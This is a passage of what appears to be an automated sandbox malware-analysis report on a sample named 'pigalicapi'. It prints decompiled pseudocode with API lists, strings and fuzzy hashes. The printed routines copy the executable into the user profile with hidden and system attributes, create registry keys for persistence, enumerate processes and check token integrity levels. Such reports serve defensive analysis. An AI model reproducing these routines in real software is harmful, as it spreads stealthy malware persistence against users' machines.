				long _v48;
				void* _v52;
				void _v56;
				long _v60;
				HANDLE* _v64;
				void* _v68;
				intOrPtr _v72;
				void* _v76;
				intOrPtr _v80;
				signed int _v84;
				void _v92;
				long _v96;
				signed int _v100;
				HANDLE* _v104;
				HANDLE* _v108;
				void* _t114;
				void* _t141;
				void* _t188;
				void* _t189;
				void* _t191;

				_v5 = 0;
				if(_a4 != 0 && _a8 > 0 && _a12 != 0 && _a16 > 0) {
					E04007D20( &_v56,  &_v56, 0, 0x29);
					_t189 = _t188 + 0xc;
					InitializeCriticalSection( &_v44);
					_v16 = _a24;
					_v20 = CreateEventA(0, 1, 0, 0);
					asm("cdq");
					_v12 = _a8 / _a20;
					_v60 = 0;
					while(_v60 < _a16) {
						EnterCriticalSection( &_v44);
						if(_v52 != 0) {
							VirtualFree(_v52, 0, 0x8000);
							_v52 = 0;
							_v48 = 0;
						}
						_t198 = _v56;
						if(_v56 != 0) {
							TerminateThread(_v56, 0);
							_v56 = 0;
						}
						ResetEvent(_v20);
						LeaveCriticalSection( &_v44);
						_t114 = CreateThread(0, 0, E04004AC0,  &_v56, 0, 0); // executed
						_v56 = _t114;
						_v104 = E040097A0( ~(0 | _t198 > 0x00000000) | _a20 * 0x00000004);
						_v64 = _v104;
						E04007D20(_v104, _v64, 0, _a20 << 2);
						_t191 = _t189 + 0x10;
						_v100 = 0;
						while(_v100 < _a20) {
							_v64[_v100] = 0;
							E04007D20(_v64,  &_v92, 0, 0x1c);
							_t191 = _t191 + 0xc;
							_v68 =  &_v56;
							_v72 = _a12;
							_v92 = _a4;
							_v84 = _v100 * _v12;
							if(_v100 >= _a20 - 1) {
								_v80 = _a8 - 1;
							} else {
								_v80 = _v84 + _v12 - 1;
							}
							_v76 = CreateEventA(0, 1, 0, 0);
							_t141 = CreateThread(0, 0, E04004BA0,  &_v92, 0, 0); // executed
							_v64[_v100] = _t141;
							WaitForSingleObject(_v76, 0xffffffff);
							FindCloseChangeNotification(_v76); // executed
							_v100 = _v100 + 1;
						}
						WaitForMultipleObjects(_a20, _v64, 1, 0xffffffff);
						_v96 = WaitForSingleObject(_v20, 0x2710);
						if(_v96 == 0) {
							_v5 = 1;
						}
						_v96 = WaitForSingleObject(_v56, 0x3e8);
						if(_v96 != 0) {
							TerminateThread(_v56, 0);
						}
						EnterCriticalSection( &_v44);
						if(_v52 != 0) {
							VirtualFree(_v52, 0, 0x8000); // executed
							_v52 = 0;
							_v48 = 0;
						}
						LeaveCriticalSection( &_v44);
						_v108 = _v64;
						E040097C0(_v108);
						_t189 = _t191 + 4;
						if((_v5 & 0x000000ff) == 0) {
							_v60 = _v60 + 1;
							continue;
						} else {
						}
						break;
					}
					DeleteCriticalSection( &_v44);
				}
				return _v5;
			}

APIs

InitializeCriticalSection.KERNEL32(?), ref: 04004066
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0400407A
EnterCriticalSection.KERNEL32(?,?), ref: 040040AF
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040040C6
TerminateThread.KERNEL32(00000000,00000000), ref: 040040E6
ResetEvent.KERNEL32(00000000), ref: 040040F7
LeaveCriticalSection.KERNEL32(?), ref: 04004101
CreateThread.KERNEL32 ref: 04004118
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 040041DD
CreateThread.KERNEL32 ref: 040041F7
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0400420C
FindCloseChangeNotification.KERNEL32(?), ref: 04004216
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 0400422D
WaitForSingleObject.KERNEL32(00000000,00002710), ref: 0400423C
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 04004258
TerminateThread.KERNEL32(00000000,00000000), ref: 0400426D
EnterCriticalSection.KERNEL32(?), ref: 04004277
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0400428E
LeaveCriticalSection.KERNEL32(?), ref: 040042A6
DeleteCriticalSection.KERNEL32(?,?), ref: 040042D1

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: CriticalSection$CreateThreadWait$EventObjectSingle$EnterFreeLeaveTerminateVirtual$ChangeCloseDeleteFindInitializeMultipleNotificationObjectsReset
String ID:
API String ID: 1593741596-0
Opcode ID: 05fe0913d4c170341a487d691e6358ffadb3a1425a440243058cc0667604890e
Instruction ID: 8bdf0d2272c993105e18f632bfcb20d3462f1ee8570acd5c3bdc395bff94e74a
Opcode Fuzzy Hash: 05fe0913d4c170341a487d691e6358ffadb3a1425a440243058cc0667604890e
Instruction Fuzzy Hash: 6A910D74A04208AFEB14DFA4D849BDDBBB5FB48705F108219FA05BB2C0D778A984CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04005700 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 148
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E04005700(CHAR* _a4) {
				char _v5;
				char _v24;
				long _v28;
				void* _v32;
				char _v556;
				long _v560;
				void* _v564;
				long _v568;
				intOrPtr _t59;
				void* _t67;
				void* _t71;

				_v5 = 0;
				if(_a4 != 0) {
					E04008F80(_a4, 0x100, _a4 + 0x437); // executed
					GetModuleFileNameA(0, _a4 + 0x100, 0x104); // executed
					E04001CA0(_a4 + 0x204, 0x104); // executed
					E04009D20( &_v24, _a4 + 0x40c, 0x27); // executed
					E04007B70(_a4 + 0x45b,  &_v24, 0x10);
					_t59 = E04005CD0(_a4 + 0x100); // executed
					 *((intOrPtr*)(_a4 + 0x433)) = _t59;
					lstrcpyA(_a4 + 0x43b, "pigalicapi");
					E04007D20( &_v556,  &_v556, 0, 0x208);
					_v28 = 0x207;
					if(( *0x401435a & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v556, 0x207); // executed
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v556,  &_v28);
					}
					wnsprintfA(_a4 + 0x308, 0x104, "%s\\%s.exe",  &_v556, "pigalicapi");
					_t67 = CreateFileA(_a4 + 0x100, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v32 = _t67;
					if(_v32 != 0xffffffff) {
						_v560 = GetFileSize(_v32, 0);
						if(_v560 > 0) {
							_t71 = VirtualAlloc(0, _v560, 0x3000, 4); // executed
							_v564 = _t71;
							if(_v564 != 0) {
								_v568 = 0;
								ReadFile(_v32, _v564, _v560,  &_v568, 0); // executed
								if(_v568 != _v560) {
									VirtualFree(_v564, 0, 0x8000);
								} else {
									 *(_a4 + 0x453) = _v560;
									 *(_a4 + 0x457) = _v564;
								}
							}
						}
						FindCloseChangeNotification(_v32); // executed
					}
					_v5 = 1;
				}
				return _v5;
			}

APIs

Part of subcall function 04008F80: GetVersionExA.KERNEL32(0000009C), ref: 04008FF7
Part of subcall function 04008F80: GetSystemInfo.KERNEL32(?), ref: 04009009
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,Win2K), ref: 0400902E
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,_x64), ref: 04009222
Part of subcall function 04008F80: lstrlenA.KERNEL32(?), ref: 0400922F
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,0400C980), ref: 04009242
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,?), ref: 04009253
Part of subcall function 04008F80: lstrlenA.KERNEL32(00000000), ref: 0400925D
Part of subcall function 04008F80: lstrcatA.KERNEL32(00000000,UndefinedOS), ref: 04009275

GetModuleFileNameA.KERNEL32(00000000,-00000100,00000104), ref: 04005742

Part of subcall function 04001CA0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04001CB1
Part of subcall function 04001CA0: Process32First.KERNEL32(000000FF,00000128), ref: 04001CE1
Part of subcall function 04001CA0: GetCurrentProcessId.KERNEL32 ref: 04001CEE
Part of subcall function 04001CA0: Process32First.KERNEL32(000000FF,00000128), ref: 04001D52
Part of subcall function 04001CA0: lstrlenA.KERNEL32(?,000000FF,00000128,000000FF,00000128), ref: 04001D78
Part of subcall function 04001CA0: lstrcpyA.KERNEL32(-00000204,?), ref: 04001D92
Part of subcall function 04001CA0: OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 04001DA6
Part of subcall function 04001CA0: EnumProcessModules.PSAPI(00000000,?,00000004,00000000), ref: 04001DDC
Part of subcall function 04001CA0: GetModuleFileNameExA.PSAPI(00000000,?,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001DFB
Part of subcall function 04001CA0: FindCloseChangeNotification.KERNEL32(00000000,00000000,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001E21
Part of subcall function 04001CA0: CloseHandle.KERNEL32(000000FF), ref: 04001E4B

Part of subcall function 04009D20: GetSystemDirectoryA.KERNEL32 ref: 04009D9A
Part of subcall function 04009D20: GetVolumeInformationA.KERNEL32(?,?,00000103,00000000,00000000,00000000,?,00000063), ref: 04009DDD
Part of subcall function 04009D20: StringFromCLSID.OLE32(00000020,?), ref: 04009EF7

Part of subcall function 04005CD0: lstrlenA.KERNEL32(00000000), ref: 04005CEB
Part of subcall function 04005CD0: CreateFileA.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005D10
Part of subcall function 04005CD0: GetFileSize.KERNEL32(000000FF,00000000), ref: 04005D29
Part of subcall function 04005CD0: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005D45
Part of subcall function 04005CD0: ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04005D6D
Part of subcall function 04005CD0: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04005D99
Part of subcall function 04005CD0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 04005DA3

lstrcpyA.KERNEL32(-0000043B,pigalicapi), ref: 040057B8
GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 040057F1
GetEnvironmentVariableA.KERNEL32(USERPROFILE,?,00000207), ref: 0400580A
wnsprintfA.SHLWAPI ref: 0400582F
CreateFileA.KERNEL32(-00000100,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005854
GetFileSize.KERNEL32(000000FF,00000000), ref: 0400586D
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005896
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 040058D0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04005912
FindCloseChangeNotification.KERNEL32(000000FF), ref: 0400591C

Strings

%s\%s.exe, xrefs: 0400581C
pigalicapi, xrefs: 040057A9, 04005810
USERPROFILE, xrefs: 04005805

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: File$lstrcat$CloseVirtuallstrlen$ChangeCreateFindNotificationProcess$AllocDirectoryFirstFreeModuleNameProcess32ReadSizeSystemlstrcpy$CurrentEnumEnvironmentFromHandleInfoInformationModulesOpenProfileSnapshotStringToolhelp32UsersVariableVersionVolumewnsprintf
String ID: %s\%s.exe$USERPROFILE$pigalicapi
API String ID: 1116761331-4090404022
Opcode ID: d5d8b7378ef743f007312c818edffbb4ef282e82611c05111bfa373c5cb79892
Instruction ID: 5a1df65dd39d11d2feffdc598e8508d5089156913625d6b4e9fa29ff03a3d0d3
Opcode Fuzzy Hash: d5d8b7378ef743f007312c818edffbb4ef282e82611c05111bfa373c5cb79892
Instruction Fuzzy Hash: 66515FB4944208BBFB14DF60DC59FEA7774EB44709F048168FA097A2C1D778AA81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04001120 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 116
stringfilethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E04001120(CHAR* _a4, CHAR* _a8, signed int _a12, signed char _a16, void** _a20) {
				struct _SECURITY_ATTRIBUTES* _v8;
				long _v12;
				void* _v16;
				char _v284;
				void* _v288;
				char _v556;
				void* _v560;
				void* _v564;
				void* _t58;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && lstrlenA(_a4) != 0 && lstrlenA(_a8) != 0) {
					_v12 = 0x104;
					if((_a12 & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v284, 0x104);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v284,  &_v12);
					}
					wnsprintfA( &_v556, 0x103, "%s\\%s.exe",  &_v284, _a8);
					if(lstrcmpiA(_a4,  &_v556) != 0 && (_a16 & 0x000000ff) == 0) {
						CopyFileA(_a4,  &_v556, 0);
						SetFileAttributesA( &_v556, 6);
						lstrcpyA(_a4,  &_v556);
					}
					_v560 = E040097A0(0x30d);
					_v16 = _v560;
					 *((char*)(_v16 + 0x30c)) = _a12;
					lstrcpyA(_v16,  &_v556);
					lstrcpyA(_v16 + 0x208, _a8);
					_t58 = CreateThread(0, 0, E040012D0, _v16, 0, 0); // executed
					_v288 = _t58;
					if(_v288 == 0) {
						_v564 = _v16;
						E040097C0(_v564);
					} else {
						if(_a20 != 0) {
							 *_a20 = _v288;
						}
						_v8 = 1;
					}
				}
				return _v8;
			}

APIs

lstrlenA.KERNEL32(00000000), ref: 04001148
lstrlenA.KERNEL32(00000000), ref: 0400115A
GetAllUsersProfileDirectoryA.USERENV(?,00000104), ref: 04001182

Part of subcall function 040097C0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 040097CF
Part of subcall function 040097C0: RtlFreeHeap.NTDLL(00000000), ref: 040097D6

GetEnvironmentVariableA.KERNEL32(USERPROFILE,?,00000104), ref: 0400119B
wnsprintfA.SHLWAPI ref: 040011BD
lstrcmpiA.KERNEL32(00000104,?), ref: 040011D1
CopyFileA.KERNEL32(00000104,?,00000000), ref: 040011F0
SetFileAttributesA.KERNEL32(?,00000006), ref: 040011FF
lstrcpyA.KERNEL32(00000104,?), ref: 04001210
lstrcpyA.KERNEL32(00000000,?), ref: 04001249
lstrcpyA.KERNEL32(-00000208,00000000), ref: 0400125D
CreateThread.KERNEL32 ref: 04001274

Strings

USERPROFILE, xrefs: 04001196
%s\%s.exe, xrefs: 040011AC

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: lstrcpy$FileHeaplstrlen$AttributesCopyCreateDirectoryEnvironmentFreeProcessProfileThreadUsersVariablelstrcmpiwnsprintf
String ID: %s\%s.exe$USERPROFILE
API String ID: 1231128424-1744756051
Opcode ID: b85ef1de13e11c0e00b9ed9ca29e0f6effca0754590a52f5089cd6d741d3fe99
Instruction ID: 5a94151192094d4d6073c3e413aca9132142fa07401a96dcdce05a8263d9ef35
Opcode Fuzzy Hash: b85ef1de13e11c0e00b9ed9ca29e0f6effca0754590a52f5089cd6d741d3fe99
Instruction Fuzzy Hash: 2A413675904208ABEB54CFA4D889BDE77B4EF48704F00C295F509AA281D779EA84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 040099F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E040099F0() {
				intOrPtr _v8;
				char _v9;
				void* _v16;
				char _v1044;
				char _v2068;
				long _v2072;
				void* _v2076;
				void* _v2080;
				char _v2084;
				int _t43;

				_v9 = 0;
				_v8 = 0x400;
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v16) == 0) {
					L12:
					return _v9;
				}
				_v2072 = 0;
				GetTokenInformation(_v16, 1, 0, 0,  &_v2072); // executed
				if(_v2072 >= 0x400) {
					L11:
					CloseHandle(_v16);
					goto L12;
				}
				_v2076 =  &_v1044;
				_t43 = GetTokenInformation(_v16, 1, _v2076, _v2072,  &_v2072); // executed
				if(_t43 == 0) {
					goto L11;
				}
				_v2080 =  &_v2068;
				_v2084 = 0x44;
				__imp__CreateWellKnownSid(0xc, 0, _v2080,  &_v2084);
				if(EqualSid(_v2080,  *_v2076) == 0) {
					__imp__CreateWellKnownSid(0x16, 0, _v2080,  &_v2084);
					if(EqualSid(_v2080,  *_v2076) == 0) {
						__imp__CreateWellKnownSid(0x17, 0, _v2080,  &_v2084);
						if(EqualSid(_v2080,  *_v2076) == 0) {
							__imp__CreateWellKnownSid(0x18, 0, _v2080,  &_v2084);
							if(EqualSid(_v2080,  *_v2076) == 0) {
								goto L11;
							}
							return 1;
						}
						return 1;
					}
					return 1;
				}
				return 1;
			}

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 04009A0A
OpenProcessToken.ADVAPI32(00000000), ref: 04009A11
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 04009A3A
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000400,00000400), ref: 04009A77
CreateWellKnownSid.ADVAPI32(0000000C,00000000,?,00000044), ref: 04009AAD
EqualSid.ADVAPI32(?,00000000), ref: 04009AC3
CreateWellKnownSid.ADVAPI32(00000016,00000000,?,00000044), ref: 04009AE6
EqualSid.ADVAPI32(?), ref: 04009AFC
CloseHandle.KERNEL32(?), ref: 04009B7A

Strings

D, xrefs: 04009A91

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Token$CreateEqualInformationKnownProcessWell$CloseCurrentHandleOpen
String ID: D
API String ID: 98007406-2746444292
Opcode ID: 9acdad6d6c89bf527d7a7d290df755143e04e7f41d5340071806561b0adaf72d
Instruction ID: 7ae4063a6f13a9051a7762c6ae15c07f15253da6e1139fe1377935b2c4657608
Opcode Fuzzy Hash: 9acdad6d6c89bf527d7a7d290df755143e04e7f41d5340071806561b0adaf72d
Instruction Fuzzy Hash: AB41F0B5A042189BEB24DF90CC45FDAB3FDFF48700F04C1E4A549A6181DE74AA81DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04005A00 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 99
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04005A00(intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				void* _t27;
				void* _t33;
				CHAR* _t35;
				int _t39;
				long _t43;
				CHAR* _t51;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0x10) {
					E04007D20(_t27, "Sscculmqcxgnq", 0, 0xe);
					lstrcpyA("Sscculmqcxgnq", "WDefault");
					_t33 = E04005930(_a4 + 0x45b, "Sscculmqcxgnq", 0xd); // executed
					E04007D20(_t33, _a8, 0, _a12);
					_t35 =  *0x401189c; // 0x400c4e0
					if(lstrlenA(_t35) < _a12) {
						_t51 =  *0x401189c; // 0x400c4e0
						lstrcpyA(_a8, _t51);
						_t39 = lstrlenA(_a8);
						if(_t39 + lstrlenA(?str?) < _a12) {
							lstrcatA(_a8, "Sscculmqcxgnq");
							_v12 = 0x80000001;
							_v16 = 0;
							_v20 = 0;
							_t43 = RegCreateKeyExA(_v12, _a8, 0, 0, 0, 0x20006, 0,  &_v16,  &_v20); // executed
							if(_t43 != 0) {
								E04007D20(_t43, _a8, 0, _a12);
								lstrcpyA(_a8, "software\\microsoft\\windows\\currentversion\\uninstall");
							} else {
								RegCloseKey(_v16); // executed
							}
							_v8 = lstrlenA(_a8);
						}
					}
				}
				return _v8;
			}

APIs

lstrcpyA.KERNEL32(Sscculmqcxgnq,WDefault), ref: 04005A47

Part of subcall function 04005930: CharUpperA.USER32(00000000), ref: 040059E2

lstrlenA.KERNEL32(0400C4E0), ref: 04005A7D
lstrcpyA.KERNEL32(00000000,0400C4E0), ref: 04005A97
lstrlenA.KERNEL32(00000000), ref: 04005AA1
lstrlenA.KERNEL32(Sscculmqcxgnq), ref: 04005AAE
lstrcatA.KERNEL32(00000000,Sscculmqcxgnq), ref: 04005AC8
RegCreateKeyExA.KERNEL32(80000001,00000000,00000000,00000000,00000000,00020006,00000000,00000000,00000000), ref: 04005B00
RegCloseKey.KERNEL32(00000000), ref: 04005B0E
lstrcpyA.KERNEL32(00000000,software\microsoft\windows\currentversion\uninstall), ref: 04005B31
lstrlenA.KERNEL32(00000000), ref: 04005B3B

Strings

WDefault, xrefs: 04005A3D
Sscculmqcxgnq, xrefs: 04005A30, 04005A42, 04005A4F, 04005AA9, 04005ABF
software\microsoft\windows\currentversion\uninstall, xrefs: 04005B28

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: lstrlen$lstrcpy$CharCloseCreateUpperlstrcat
String ID: Sscculmqcxgnq$WDefault$software\microsoft\windows\currentversion\uninstall
API String ID: 4161867159-2182964826
Opcode ID: 6328766250843c22953127ee7e5734f8e2de0c08094b4a1cb46197edb91ced3c
Instruction ID: 2f1465acc8a4d9a659e2af8a658b36752d7f83b1b7b92a7dc582af9786930c23
Opcode Fuzzy Hash: 6328766250843c22953127ee7e5734f8e2de0c08094b4a1cb46197edb91ced3c
Instruction Fuzzy Hash: 40310775600208FBEB14DFA4DC49FAA37B9EB44708F04C615FA15BB281D7B8AA50CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04001CA0 Relevance: 21.1, APIs: 14, Instructions: 111
stringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E04001CA0(CHAR* _a4, intOrPtr _a8) {
				char _v5;
				char _v272;
				long _v284;
				intOrPtr _v300;
				void* _v308;
				void* _v312;
				long _v316;
				long _v320;
				void* _v324;
				char _v328;
				int _v332;
				void* _t44;
				int _t47;
				int _t50;
				void* _t61;

				_v5 = 0;
				_t44 = CreateToolhelp32Snapshot(2, 0); // executed
				_v312 = _t44;
				if(_v312 == 0xffffffff) {
					L18:
					return _v5;
				}
				_v308 = 0x128;
				_t47 = Process32First(_v312,  &_v308); // executed
				if(_t47 == 0) {
					L17:
					CloseHandle(_v312);
					goto L18;
				}
				_v320 = GetCurrentProcessId();
				_v316 = 0;
				while(_v300 != _v320) {
					_t50 = Process32Next(_v312,  &_v308); // executed
					if(_t50 != 0) {
						continue;
					}
					L6:
					if(_v316 != 0 && Process32First(_v312,  &_v308) != 0) {
						while(_v300 != _v316) {
							if(Process32Next(_v312,  &_v308) != 0) {
								continue;
							}
							goto L17;
						}
						if(lstrlenA( &_v272) < _a8) {
							lstrcpyA(_a4,  &_v272);
							_v324 = OpenProcess(0x410, 0, _v316);
							if(_v324 != 0) {
								_v332 = 0;
								_push( &_v332);
								_push(4);
								_push( &_v328);
								_t61 = _v324;
								_push(_t61); // executed
								L0400B1D4(); // executed
								if(_t61 == 0) {
									_push(_a8);
									_push(_a4);
									_push(_v324); // executed
									L0400B1C8(); // executed
								} else {
									_push(_a8);
									_push(_a4);
									_push(_v328);
									_push(_v324);
									L0400B1CE();
								}
								_v5 = 1;
								FindCloseChangeNotification(_v324); // executed
							}
						}
					}
					goto L17;
				}
				_v316 = _v284;
				goto L6;
			}

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04001CB1
Process32First.KERNEL32(000000FF,00000128), ref: 04001CE1
GetCurrentProcessId.KERNEL32 ref: 04001CEE
Process32Next.KERNEL32 ref: 04001D2E
Process32First.KERNEL32(000000FF,00000128), ref: 04001D52
lstrlenA.KERNEL32(?,000000FF,00000128,000000FF,00000128), ref: 04001D78
lstrcpyA.KERNEL32(-00000204,?), ref: 04001D92
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 04001DA6
EnumProcessModules.PSAPI(00000000,?,00000004,00000000), ref: 04001DDC
GetModuleFileNameExA.PSAPI(00000000,?,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001DFB
GetProcessImageFileNameA.PSAPI(00000000,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001E11
FindCloseChangeNotification.KERNEL32(00000000,00000000,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001E21
Process32Next.KERNEL32 ref: 04001E37
CloseHandle.KERNEL32(000000FF), ref: 04001E4B

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: ProcessProcess32$CloseFileFirstNameNext$ChangeCreateCurrentEnumFindHandleImageModuleModulesNotificationOpenSnapshotToolhelp32lstrcpylstrlen
String ID:
API String ID: 384183238-0
Opcode ID: f968c283a4d19645c33466bb1cdde0a0755c48e1b5ee604f6c84b8f5c7af64fd
Instruction ID: c9fd9719e36fb5edb768dae97ebace1d15885c7ece39cbb3db7519296d7591e9
Opcode Fuzzy Hash: f968c283a4d19645c33466bb1cdde0a0755c48e1b5ee604f6c84b8f5c7af64fd
Instruction Fuzzy Hash: 9641DC719002189BEB65DF94CD84BEDB7B9AB48304F0086D8E60DB6180DB75BE84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04005F30 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 80
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005F30() {
				char* _v8;
				signed int _v9;
				void* _v16;
				void* _v20;
				char _v284;
				int _v288;
				int _v292;
				char _v324;
				int _v328;
				char* _t27;
				CHAR* _t30;
				long _t37;

				_v9 = 0;
				_t27 =  *0x40118a0; // 0x4013b88
				_v8 = _t27;
				E04007D20(_t27,  &_v284, 0, 0x104);
				lstrcpyA( &_v284, "pigalicapi");
				_t30 =  *0x4011898; // 0x4013fe2
				lstrcatA( &_v284, _t30);
				_v16 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v16 = 0x80000002;
				}
				_v20 = 0;
				if(RegOpenKeyExA(_v16, _v8, 0, 0xf003f,  &_v20) == 0) {
					_v292 = 0x20;
					_v288 = 0x20;
					_t37 = RegQueryValueExA(_v20,  &_v284, 0, 0,  &_v324,  &_v288); // executed
					if(_t37 == 0) {
						_v9 = 1;
					}
					_t47 = _v9 & 0x000000ff;
					if((_v9 & 0x000000ff) == 0) {
						_v328 = 0x10;
						E04009BD0(_t47,  &_v324, 0x10);
						RegSetValueExA(_v20,  &_v284, 0, 3,  &_v324, 0x10);
					}
					RegCloseKey(_v20);
				}
				return _v9;
			}

APIs

lstrcpyA.KERNEL32(?,pigalicapi), ref: 04005F67
lstrcatA.KERNEL32(?,04013FE2), ref: 04005F7A
RegOpenKeyExA.ADVAPI32(80000001,04003C58,00000000,000F003F,00000000), ref: 04005FB3
RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005FF2
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 0400603B
RegCloseKey.ADVAPI32(00000000), ref: 04006045

Strings

pigalicapi, xrefs: 04005F5B
, xrefs: 04005FCB
, xrefs: 04005FC1

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
